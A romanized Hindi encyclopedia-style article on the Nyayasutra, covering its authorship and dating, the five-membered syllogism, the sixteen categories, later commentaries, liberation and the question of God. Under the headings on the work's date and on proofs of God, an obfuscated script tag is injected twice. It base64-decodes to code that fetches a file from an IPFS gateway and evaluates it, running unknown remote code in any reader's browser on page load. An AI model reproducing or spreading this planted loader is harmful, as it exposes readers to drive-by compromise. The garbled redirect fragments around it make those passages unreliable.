न्यायसूत्र

nyayasootr bharatiy darshan ka prachin granth hai. isake rachayita akshapad gautam haian. yah nyayadarshan ka sabase prachin rachana hai. nyayasootr ke rachanakal ke vishay mean vidvanoan mean paryapt matabhed hai. mahamahopadhyay har prasad shastri isaka kal khrishtiy dvitiy shatak manate haian. sootroan mean shoonyavad ka khandan pakar d aau. yakobi mahashay nyayasootroan ka rachanakal khrishtiy tritiy shatabdi manate haian. mahamahopadhyay satishachandr vidyabhooshan ne apane bharatiy nyayashastr ke itihas mean kaha hai ki lakshanasootroan ka nirman mithila ke nivasi maharshi gautam ne khrishtapoorv shashth shatak mean kiya hai

nyay pad ki vyutpatti

nyayasootr mean do tarah se nyay pad ki vyutpatti ki gayi hai-

1. ‘pramanairarthaparikshanan nyay:’ tatha
2. ‘niyate prapyate vivakshitarthasiddhiraneneti nyay:’ tathapi pramanoan ke dvara padarthoan ke parikshan mean hi donoan vyutpittiyoan ka tatpary hai. at: yahaan adhik vichar ki apeksha nahian hai. nyayabhashyakar ne kaha hai ki nyayavidya ki pravritti tin prakar ki dekhi jati hai-
3. uddeshy - padarthoan ke nam ka nirdesh karana ‘uddeshy’ hai.
4. lakshan - usake parichayarth usake svaroop ka niroopan ‘lakshan’ hai.
5. pariksha - usaka yah lakshan sarvatha upayukt hai ya nahian- isaka vichar ya alochan pariksha hai.

yah pariksha nyay vaky ke dvara ki jati hai. is nyay ke paanch avayav prasiddh haian-

1. pratijna,
2. hetu,
3. udaharan,
4. upanay, aur
5. nigaman.

• inamean se pratham char kramash: shabd, anuman, pratyaksh, aur upaman roop nyayashastr mean prasiddh char pramanoan se sanbaddh haian.
• yahi nyayashastr ka kendr bindu hai, jo paanch adhyayoan mean vibhakt hai.
• punashch adhyay do-do ahnikoan mean kramash: vibhakt hai.
• yahaan solah padarth mane gaye haian. ve is prakar varnit haian-

1. praman,
2. pramey,
3. sanshay,
4. prayojan,
5. drishtant,
6. siddhant,
7. avayav,
8. tark,
9. nirnay,
10. vad,
11. jalp,
12. vitanda,
13. hetvabhas,
14. chhal,
15. jati aur
16. nigrahasthan.

chooanki adi ke nau padarth praman adi pramanyavad se sanbaddh haian tatha nyayavaky ke upayogi aang haian, at: inake lakshan evan apekshanusar vibhag pratham adhyay ke pratham ahnik mean kiye gaye haian. shesh sat padarthoan ke lakshan tatha yathapekshit vibhag isake dvitiy ahnik mean hua hai. vad-vivad roop kathaoan se in padarthoan ka ghanishth sanbandh raha hai. yahaan soochikatah-nyay ka avalamban kar chhal padarth ki pariksha bhi ki gayi hai evan jati aur nigrah sthan ka lakshan matr kahakar unake vibhagoan ko nahian dikhaya gaya hai.

• dvitiy adhyay ke pratham ahnik mean sanshay ki tatha nyayashastr ke prasiddh charoan pramanoan ki pariksha ki gayi hai. isake sath hi prasangat: avayavi ki pariksha evan vartaman kal ki siddhi hetu prayas kiya gaya hai. isake dvitiy ahnik mean any shastrasammat pramanoan ke parikshan dvara nirakaran tatha shabd praman ka vistrit vivechan kiya gaya hai. yahaan shabd ka anityatv, shabd ka parinam tatha shabd-shakti adi ka vichar vistar se hua hai.

• tritiy adhyay ke pratham ahnik mean atma, sharir, indriy aur arth ki pariksha ki gayi hai. dvitiy ahnik mean buddhi tatha manas ki pariksha ke sath sharir aur atma ke sanbandh ke gun evan dosh ka karanasahit vivechan hua hai.

• chaturth adhyay ke pratham ahnik mean pravritti, dosh, pretyabhav, phal, du:kh aur apavarg ki pariksha ke sath srishti ke prasang mean tatkal prasiddh ath darshanik vicharadharaoan ka alochan bhi kiya gaya hai. isake dvitiy ahnik mean tattvajnan ki utpatti, usaki vivriddhi aur usake paripalan ki vidhi ke sath avayav evan avayavi ki siddhi tatha paramanu ke niravayavatv ka pradarshan bhi hua hai.

• pancham adhyay ke pratham ahnik mean jati ke vibhag evan lakshan kiye gaye haian, avashyakatanusar pariksha bhi kahian-kahian unaki dekhi jati hai. dvitiy ahnik mean nigrahasthan ka vivechan hua hai. nyayasootrakar maharshi gautam ne yathasthan apane uddisht padarthoan ke lakshan evan parikshan kar shastr ko poornaang evan kramabaddh karane ka prayas kiya hai aur usamean saphalata bhi payi hai.

paravarti kal mean in sootroan ki bahut vyakhyaean evan upavyakhyaean hueean un saboan ka avadharan subuddhoan ke lie bhi kathin hone laga, phalat: in sootroan tatha vyakhyaoan ke adhar par vividh sangrahagranth, prakaranagranth tatha lakshanagranth adi ka paryapt matra mean nirman hua. in granthoan ke oopar bhi vyakhyaean evan upavyakhyaean likhi gayian. is tarah shastr ki nirantar abhivriddhi hoti rahi.

• kal ke antaral mean in sootroan mean vikar ane laga, jo d-ghatav hone laga. at ev khrishtiy navam shatak ke darshanik tatparyatikakar vachaspati mishr ne nyayasoochi-nibandh likhakar sootr ka path sthir karane ka prayas kiya tatha sarvapratham prakaran ka nirdesh kiya. isake pahale nyasootroan mean prakaran ka nirdesh nahian hua tha. khrishtiy panchadash shatak ke naiyayik dvitiy vachaspati mishr ne bhi nyayasootroddhar ka pranayan kar is or vidvanoan ka dhyan akrisht kiya. donoan ke sootrapath mean antar hona svabhavik hai. donoan ke madhy chhah shatakoan ka kalik vyavadhan spashtat: upalabdh hai. ek yadi 528 sootr ginate haian to apar ke mat mean 532 sootr haian. gautamiy sootraprakash mean keshavamishr tarkachary ne tatha nyayarahasy mean ramabhadr sarvabhaum ne is prasang mean apani jagarookata dikhayi hai.

yadyapi mahamahopadhyay daktar sar ganganath jha tatha mahamahopadhyay phanibhooshan tarkavagish nyayasoochi - nibandh ke kattar pakshapati rahe haian, tathapi anusandhananirat unake paravarti adhik vidvanh keshavamishr tarkachary ke sootrapath ko hi adhik parishuddh manate haian. dvitiy vachaspati mishr ke nyayatattvalok mean bhi vahi sootrapath hai jo gautamiyasootraprakash mean keshavamishr ne diya hai. ashchary ki bat to yah hai ki nyayasootroddhar aur nyayatattvalok mean sootrapath ka paraspar samy nahian hai, jabaki ek hi vidvanh ki donoan hi kritiyaan mani jati haian.

yadyapi vrittikaroan mean nyayasoochinibandh ka anusaran poornat: nahian hua hai, kintu us samay mean kiya gaya vah kary gaveshakoan ke lie ek drishti avashy pradan karata hai tatha kal ki viparit paristhiti mean nasht-bhrasht hone se usaka parirakshan apane ap mean mahattvapoorn hai.

ajakal nyayasootroan ke pathanirdharan ki or gaveshak vidvanoan ki drishti adhik dekhi jati hai. pro. dayakrishna (jayapur) ne is prasang mean shodh-patrika mean apana saragarbh tatha vicharottejak nibandh prakashit kiya hai. is pankti ke lekhak ne bhi nyayatattvalok ke parishisht mean apana vichar prastut kiya hai.

nyayasootr ke rachayita

nyayasootr ke rachayita ka gotr nam 'gautam' aur vyaktigat nam 'akshapad' hai. nyayasootr paanch adhyayoan mean vibhakt hai jinamean pramanadi shodash padarthoan ke uddeshy, lakshan tatha parikshan kiye gaye haian. vatsyayan ne nyayasootroan par vistrit bhashy likha likha hai. is bhashy ka rachanakal vikram poorv pratham shatak mana jata hai. nyay darshan se sambaddh 'udyotakar' ka 'nyayavartik', 'vachaspati mishr' ki 'tatparyatika', 'jayantabhatt' ki 'nyayamanjari', 'udayanachary' ki 'nyay-kusumajjali', 'gangesh upadhyay' ki 'tattvachintamani' adi granth atyant prashast evan lokapriy haian. nyay darshan shodash padartho ke niroopan ke sath hi 'eeshvar' ka bhi vivechan karata hai. nyayamat mean eeshvar ke anugrah ke bina jiv n to pramey ka yatharth jnan pa sakata hai aur n is jagath ke du:khoan se hi chhutakara pakar moksh pa sakata hai. eeshvar is jagath ki srishti, palan tatha sanhar karane vala hai. eeshvar asat padarthoan se jagath ki rachana nahian karata, pratyut paramanuoan se karata hai jo sookshmatam roop mean sarvada vidyaman rahate haian. nyayamat mean eeshvar jagath ka nimitt karan hai, upadan karan nahian hai. eeshvar jiv matr ka niyanta hai, karm phal ka data hai tatha sukh-du:khoan ka vyavasthapak hai. usake niyantran mean rahakar hi jiv apana karm sampadan kar jivan ka sarvochch lakshy prapt karata hai.

nyayasootr ka kal

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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nyayasootr ke rachanakal ke vishay mean vidvanoan mean paryapt matabhed hai. mahamahopadhyay har prasad shastri isaka kal khrishtiy dvitiy shatak manate haian. sootroan mean shoonyavad ka khandan pakar d aau. yakobi mahashay nyayasootroan ka rachanakal khrishtiy tritiy shatabdi manate haian. mahamahopadhyay satishachandr vidyabhooshan ne apane bharatiy nyayashastr ke itihas mean kaha hai ki lakshanasootroan ka nirman mithila ke nivasi maharshi gautam ne khrishtapoorv shashth shatak mean kiya hai aur parikshasootroan ki rachana khrishtiy dvitiy shatak mean prabhasatirth ke nivasi maharshi akshapad ne ki hai. phalat: upalabdh nyayasootr do bhinn samayoan mean bhinn rrishiyoan ke dvara rache gaye haian. inaki do pramukh yuktiyaan yahaan dekhi jati haian - bauddh darshan ke shoonyavad ka khandan tatha kautily ke dvara anvikshiki vidya mean nyay ka aparigrah evan saankhy, yog aur lokayat ka parigrah. kintu yahaan vichar apekshit hai. nyayasootr mean jis shoonyavad ka khandan kiya hai, vah bauddh achary nagarjun ke pratipadit shoonyavad se sarvatha bhinn hai.

tattvajnan

nyayasootr ke anusar du:kh se atyant vimoksh ko ‘apavarg’ kaha gaya hai muktavastha mean atma apane vishuddh roop mean pratishthit aur akhil gunoan se rahit hota hai. muktatma mean sukh ka bhi abhav rahata hai at: us avastha mean 'anand' ki bhi prapti nahian hoti hai. udyotakar ke mat mean ni:shreyas ke do bhed haian- apar ni:shreyas tatha parani:shreyas. tattvajnan hi in donoan ka karan hai. jivan mukti ko aparani:shreyas aur videhamukti ko parani:shreyas kahate haian. bharatiy darshan-sahity ko nyay darshan ki sabase amooly den shastriy vivechanatmak paddhati hai. praman ki vistrit vyakhya tatha vivechana kar nyay ne jin tattvoan ko khoj nikala hai, unaka upayog any darshan ne bhi kuchh parivartanoan ke sath kiya hai. hetvabhasoan ka sookshm vivaran dekar nyay darshan ne anuman ko doshamukt karane ka marg prashast kiya hai. nyay darshan ki tarkapaddhati shlaghaniy hai.

eeshvarisiddhi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

nyayasootrakar ke samaksh eeshvar vivechy vishay nahian tha, apitu upasy ke roop mean vah prasiddh tha. eeshvar ke astitv mean kisi ko sandeh nahian tha at sootrakar ne is par apana mantavy prastut nahian kiya hai. anyatha rrishi ki drishti se isaka ojhal hona asanbhav hai. pravadukoan ke mat ke prasang mean jo eeshvar ke vishay mean tin sootr upalabdh hote haian, ve to nirakaraniy matoan ke madhy vidyaman hai. at: unaka mahattv adhik nahian mana ja sakata hai. usaka ashay to kuchh bhinn hi pratit hota hai. varttik evan tatpary tika mean yahaan matabhed hai. ek keval eeshvar karanatavad ko poorvapaksh ke roop mean leta hai to eeshvar mean abhinn nimitt upadan karanatavad ko poorvapaksh roop mean svikar karata hai. yah matabhed pramanit karata hai ki sampraday mean eeshvaravad prachalit nahian tha. kintu poorvapakshi ke roop mean bauddh, mimaansak evan any darshanikoan ke kh da hone par achary udayan ne unake mukhavidhan hetu ek vishal prakaran granth bhi prastut kiya, vyakhyamukhen isaka upapadan to kiya hi. vahi prakaran granth hai nyayakusumaanjali, jisaki vyakhya evan upavyakhyaean is vartaman shatabdi mean bhi likhi ja rahi haian. sabase pahale eeshvar ke vishay mean bhashyakar ke samaksh bauddh adi ki or se samasya ayi hogi. at: inhoanne isaka samadhan kiya hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

shrutiyaan

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